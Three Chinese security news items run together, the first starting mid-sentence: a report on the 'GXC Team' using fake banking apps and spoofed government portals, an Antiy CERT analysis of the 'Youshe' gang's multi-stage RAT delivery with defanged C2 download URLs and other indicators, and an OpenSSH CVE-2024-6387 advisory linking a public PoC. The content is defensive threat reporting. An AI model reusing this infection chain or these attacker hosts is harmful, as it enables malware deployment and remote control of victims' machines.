和 Santander。 除了利用人工智能来扩大运营范围外,犯罪者还采取了一种新方法——绕过双因素身份验证 (2FA),即制作模仿官方手机银行应用程序的恶意 Android 代码。受害者被诱骗安装这个假应用程序,并被要求确认他们的 OTP(一次性密码),然后该密码会被拦截并传输到攻击者管理的命令与控制 (C2C) 服务器。 网上银行系统所需的登录凭据之前是通过网络钓鱼工具包获取的。一旦 OTP 被拦截,恶意分子就可以访问受害者的银行账户,利用地理相关的住宅代理来促进未经授权的访问。 “GXC 团队”还创建了多个工具包,旨在通过虚假的政府网站窃取澳大利亚和西班牙公民的身份信息。在澳大利亚,攻击者冒充“my.gov.au”门户网站,诱骗受害者提供个人信息,然后恶意收集这些信息。他们通过欺骗性在线手段窃取身份信息和并利用人们毫无戒心这一条件进行欺诈。 在西班牙的案例中,“GXC 团队”创建了一个冒充 GOB.ES 网站的伪造登陆页面。这个虚假页面声称支持通过多家银行付款,其目的是通过呈现看似来自政府官方网站的内容来赢得受害者的信任。这种方法被用来欺骗个人与恶意行为者分享敏感信息。 人工智能在网络犯罪中的应用并不是一个全新的概念。已被用于各种恶意目的,例如垃圾邮件,其中神经网络被用来逃避反垃圾邮件过滤器,通常通过马尔可夫链等方法。此外,人工智能还被用于黑市 SEO 等领域,高级参与者使用神经网络来创建欺骗性网络内容。 根据评估,人工智能在网络犯罪活动中市场前景较大的应用领域包括: ·为恶意和欺诈目的而生成内容,目的是优化人力资源和扩大运营规模。 ·通过文本处理和文档分析识别特定对象和目标。 ·网络犯罪行动的决策和自动化。 ·利用人工智能驱动的机器人进行先进的社会工程技术。 ·分析和评分潜在受害者,研究他们的行为,并发现更有效的定位和利用模式。 ·绕过反欺诈过滤器和网络安全控制(例如使用 Deep Fakes 和 AI 生成的工件)。 ·影响和干扰活动,其中 AI 将用于情感分析、定位活动和与受众的实际互动(例如在社交媒体网络和替代数字渠道中)。 这些观察突出了 AI 在网络犯罪中不断发展和扩大的作用,对网络安全工作构成了重大挑战。
  24. 1 概览 “游蛇”黑产团伙自2022年下半年开始活跃至今,针对国内用户发起了大量钓鱼攻击和诈骗活动。该类黑产传播的恶意程序变种多、频繁更换免杀手段及基础设施、攻击目标所涉及的行业广泛。近期,安天CERT监测到“游蛇”黑产团伙针对财税人员传播恶意Excel文件,诱导用户点击其中的超链接跳转至钓鱼网站,从中下载执行恶意程序。 恶意程序执行后加载恶意的Index.asp文件,然后分多个阶段下载执行恶意AutoHotKey、Python脚本、以及两段Shellcode,最终在受害者计算机的内存中执行远控木马。该远控木马具备键盘记录、剪贴板监控、屏幕截图等基本窃密功能,并支持接收执行多种远控命令。“游蛇”黑产团伙攻击者通常会利用远控木马控制受害者计算机中的即时通讯软件,冒充受害者身份进行后续的攻击、诈骗活动。 “游蛇”黑产团伙仍在频繁地对恶意软件、免杀手段以及相关基础设施进行更新,每天依旧有一定数量的用户遭受攻击并被植入远控木马。安天CERT建议用户接收文件时保持警惕,避免点击安全性未知的可执行程序、脚本、文档等文件,以免遭受“游蛇”攻击,造成不必要的损失。 经验证,安天智甲终端防御系统(简称IEP)可实现对该远控木马的有效查杀。 排查方案详见本文第四章节,相关防护建议详见第五章节。 2 技术梳理 在此次攻击活动中,攻击者投放的诱饵文件是名称为“(六月)偷-漏涉-税-违规企业名单公示.xlsx”的Excel文件,诱导用户点击其中的“点击查看”,从而跳转至钓鱼网站中。 图 2‑1诱饵文件 该钓鱼网站如下图所示,用户点击该网站中的任意按钮后会下载一个名称为“重点稽查企业名单-终端.zip”的压缩包文件,其中包含两个文件:重点稽查企业名单-终端.exe、Index.asp。 图 2‑2钓鱼网站 重点稽查企业名单-终端.exe是一款名为“SmartServer智能端口急速版”的服务器工具,该工具运行后会加载同路径中的Index.asp文件。该Index.asp文件中含有恶意代码,执行后分多个阶段下载执行恶意的AutoHotKey、Python脚本、以及两段Shellcode,最终在内存中执行名称为“登录模块.dll”的远控木马。该远控木马具备键盘记录、剪贴板监控、屏幕截图等基本功能,并支持接收执行多种远控命令。整体攻击流程如下图所示: 图 2‑3攻击流程图 3 样本分析 3.1 重点稽查企业名单-终端.exe、Index.asp 钓鱼网站的“重点稽查企业名单-终端.zip”压缩包中包含两个文件:重点稽查企业名单-终端.exe、Index.asp。 图 3‑1压缩包内的文件 重点稽查企业名单-终端.exe是一款名为“SmartServer智能端口急速版”的服务器工具,该工具运行后会加载同路径中的Index.asp文件。 图 3‑2程序说明 攻击者将恶意代码隐藏在Index.asp文件中,该恶意代码从攻击者服务器中下载文件并保存至受害者主机中的指定文件夹中,并使用cmd命令执行下一阶段的攻击载荷。 图 3‑3 Index.asp文件中的恶意代码 该恶意代码下载的文件如下表所示: 表 3‑1恶意代码下载的文件 下载文件 保存路径 hxxp://xingyuqiang1688[.]vip/AHK.exe C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe hxxp://43.135.72[.]124/Run.ahk C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk hxxp://xingyuqiang1688[.]vip/1.ahk C:\Users\Public\Music\Update\AutoHotkey\1.ahk 3.2 恶意AutoHotKey脚本 AutoHotKey是一种在Windows平台中创建自动化键盘、鼠标操作的脚本语言,攻击者利用AutoHotKey执行经过编码的恶意ahk脚本,从服务器中获取下一阶段的攻击载荷,并为AutoHotKey.exe创建计划任务。 表 3‑2恶意AutoHotKey脚本下载的文件 下载文件 保存路径 备注 43.135.120[.]185/py.rar C:\Users\Public\Music\python 运行Python脚本所需的环境 43.135.72[.]124/qd.jpg C:\Users\Public\Music\python 恶意Python脚本文件 xingyuqiang1688[.]vip/resource.data C:\Users\Public\Bandizip\data Bandizip压缩软件相关文件 xingyuqiang1688[.]vip/web32.exe C:\Users\Public\Bandizip\data xingyuqiang1688[.]vip/English.lang C:\Users\Public\Bandizip\langs xingyuqiang1688[.]vip/ark.x64.dll C:\Users\Public\Bandizip xingyuqiang1688[.]vip/Bandizip.exe C:\Users\Public\Bandizip xingyuqiang1688[.]vip/config.ini C:\Users\Public\Bandizip 攻击者利用Bandizip压缩软件使用密码“Ly”对py.rar进行解压缩,该压缩包中含有Python脚本运行所需的环境。 3.3 恶意Python脚本 qd.jpg是一个使用Python编写的Shellcode加载器,该脚本用于从Base64编码的指定URL中获取Shellcode,并写入内存中执行。 图 3‑4 qd.jpg主要内容 3.4 Shellcode执行PE文件 该Shellcode用于在内存中执行其代码中的PE文件。 图 3‑5嵌入在Shellcode中的PE文件 该PE文件对硬编码的字符串进行倒转,并从中解析出C2配置信息。 图 3‑6 PE文件中的C2配置信息 该PE文件与C2服务器进行连接,获取下一阶段的Shellcode并写入注册表HKEY_CURRENT_USER\Console\0\ d33f351a4aeea5e608853d1a56661059中。 图 3‑7将Shellcode内容写入注册表中 然后该PE文件读取注册表中的Shellcode并在内存中执行,并将C2信息写入HKEY_LOCAL_MACHINE\SOFTWARE\IpDates_info中。 图 3‑8在注册表中写入C2信息 3.5 最终载荷 该Shellcode在内存中执行其中的PE文件,该PE文件是一个DLL文件,原名称为“登录模块.dll”,且导出函数为run。 图 3‑9最终载荷信息 该DLL文件是远控木马,具备键盘记录、剪贴板监控、屏幕截图等基本功能,并支持接收执行多种远控命令。 图 3‑10该远控木马具备的基本功能 4 排查方案 4.1 文件 文件路径 C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.exe C:\Users\Public\Music\Update\AutoHotkey\AutoHotkey.ahk C:\Users\Public\Music\python\qd.zip C:\Users\Public\Music\python\qd.jpg C:\Users\Public\Music\python\py.rar C:\Users\Public\Bandizip 4.2 注册表 注册表 内容 HKEY_CURRENT_USER\Console\0\ d33f351a4aeea5e608853d1a56661059 参考图3-7 HKEY_LOCAL_MACHINE\SOFTWARE\IpDates_info 参考图3-8 4.3 进程 进程名称 备注 重点稽查企业名单-终端.exe SmartServer 智能端口急速版 v 1.3 python.exe C:\Users\Public\Music\python\pythonw.exe 4.4 计划任务 计划任务名称 启动程序路径 AHK C:\Users\Public\Music\Update\AutoHotKey\AutoHotKey.exe 4.5 网络 IoCs hxxp://www.shuiwutl2[.]cn hxxp://xingyuqiang1688[.]vip/AHK.exe hxxp://43.135.72[.]124/Run.ahk hxxp://xingyuqiang1688[.]vip/1.ahk hxxp://43.135.120[.]185/py.rar hxxp://43.135.72[.]124/qd.jpg hxxp://xingyuqiang1688[.]vip/resource.data hxxp://xingyuqiang1688[.]vip/web32.exe hxxp://xingyuqiang1688[.]vip/English.lang hxxp://xingyuqiang1688[.]vip/ark.x64.dll hxxp://xingyuqiang1688[.]vip/Bandizip.exe hxxp://xingyuqiang1688[.]vip/config.ini hxxp://xingyuqiang1688[.]vip/43.135.72.124.bin 43.135.72[.]124:6666 5 防护建议 针对此类威胁,安天建议企业增强业务人员的安全意识,降低组织被攻击的可能性;部署安天智甲终端防御系统,实时防护系统安全。未部署安天智甲的用户,发现或怀疑遭受“游蛇”黑产团伙攻击时,可以使用安天安全威胁排查工具进行排查。 5.1 增强业务人员的安全意识 增强业务人员的安全意识,降低组织被攻击的可能性。财务、客服、销售等人员使用微信、企业微信等电脑端登录的即时通讯应用时,避免因工作性质、利益原因,被诱导下载和运行不明来源的各类文件。组织可通过选择安全意识培训服务,巩固“第一道安全防线”。 5.2 部署安天智甲加强终端文件接收和执行防护 部署企业级终端防御系统,实时检测防护即时通讯软件接收的不明文件。安天智甲终端防御系统采用安天下一代威胁检测引擎检测不明来源文件,通过内核级主动防御能力阻止其落地和运行。 图 5‑1安天智甲终端防御系统阻止恶意文件落地 5.3 使用安天安全威胁排查工具排查游蛇威胁 发现或怀疑遭受“游蛇”黑产团伙攻击:针对“游蛇”黑产团伙在攻击活动中投放的远控木马,在安天垂直响应平台下载安天安全威胁排查工具(https://vs2.antiy.cn,“游蛇”专项排查工具),面对突发性安全事件、特殊场景时快速检测排查此类威胁。由于“游蛇”黑产团伙使用的攻击载荷迭代较快,且持续更新免杀技术,为了更精准、更全面的清除受害主机中存在的威胁,建议客户在使用专项排查工具检出威胁后,联系安天应急响应团队([email protected])处置威胁。 图 5‑2使用“游蛇”专项排查工具发现威胁 6 IoCs IoCs FA707089ECACC42D857460513B07DC1D 4B7FDCC9F207E2FCD1227B0F58F2631F 9C9253B0CB78EA2C5A76CAEEFDAC5960 7B7A654E99F2B96C0EE114CD49BACF9A 539B6E91D0A92C999311E0D826315A07 49071B451329B2966769E35C7B75EDC4 B91629DA628F3AE8B22B361A0001B65C hxxp://www.shuiwutl2[.]cn hxxp://xingyuqiang1688[.]vip 43.135.72[.]124 43.135.120[.]185 43.135.72[.]124:6666
  25. 漏洞概述 OpenSSH是一个开源实现的SSH协议,用于加密网络通信。OpenSSH提供了一个安全的通道来访问远程计算机或服务器,并包含了一组客户端和服务器工具,以提供包括远程登录、远程执行命令、文件传输等功能。 CVE-2024-6387影响使用glibc的Linux系统,该漏洞被称为”RegreSSHion”。这个漏洞允许未经身份验证的用户在默认配置的情况下,通过LoginGraceTime参数进行远程代码执行,从而以root权限控制受影响的系统。 这个漏洞一旦被利用,可能会导致系统全面崩溃,攻击者可以使用最高权限执行任意代码,从而导致系统全面接管、安装恶意软件、篡改数据和创建后门进行持久访问。它可能会促进网络传播,使攻击者可以利用被入侵的系统作为立足点,穿越并利用组织内其他易受攻击的系统。 漏洞详情 目前该漏洞利用详情已公开,DayDayPoc平台收录了该漏洞poc,访问如下链接可查看漏洞poc https://www.ddpoc.com/DVB-2024-7376.html 影响范围 根据DayDayMap(www.daydaymap.com)全球网络空间资产测绘平台的数据显示,全球有上亿条资产可能遭受该漏洞的影响。国内风险资产主要分布在香港和北京。 DayDayMap查询语法: protocol.service="ssh" 解决方案 目前官方已有可更新版本,建议受影响用户升级至最新版本:OpenSSH > 9.8p1 官方补丁下载地址: https://www.openssh.com/releasenotes.html Ubuntu 的软件源已更新: https://ubuntu.com/security/notices/USN-6859-1 Debian 11 12已更新: https://security-tracker.debian.org/tracker/CVE-2024-6387 参考链接 https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt https://ubuntu.com/security/CVE-2024-6387 https://www.openssh.com/txt/release-9.8 原文链接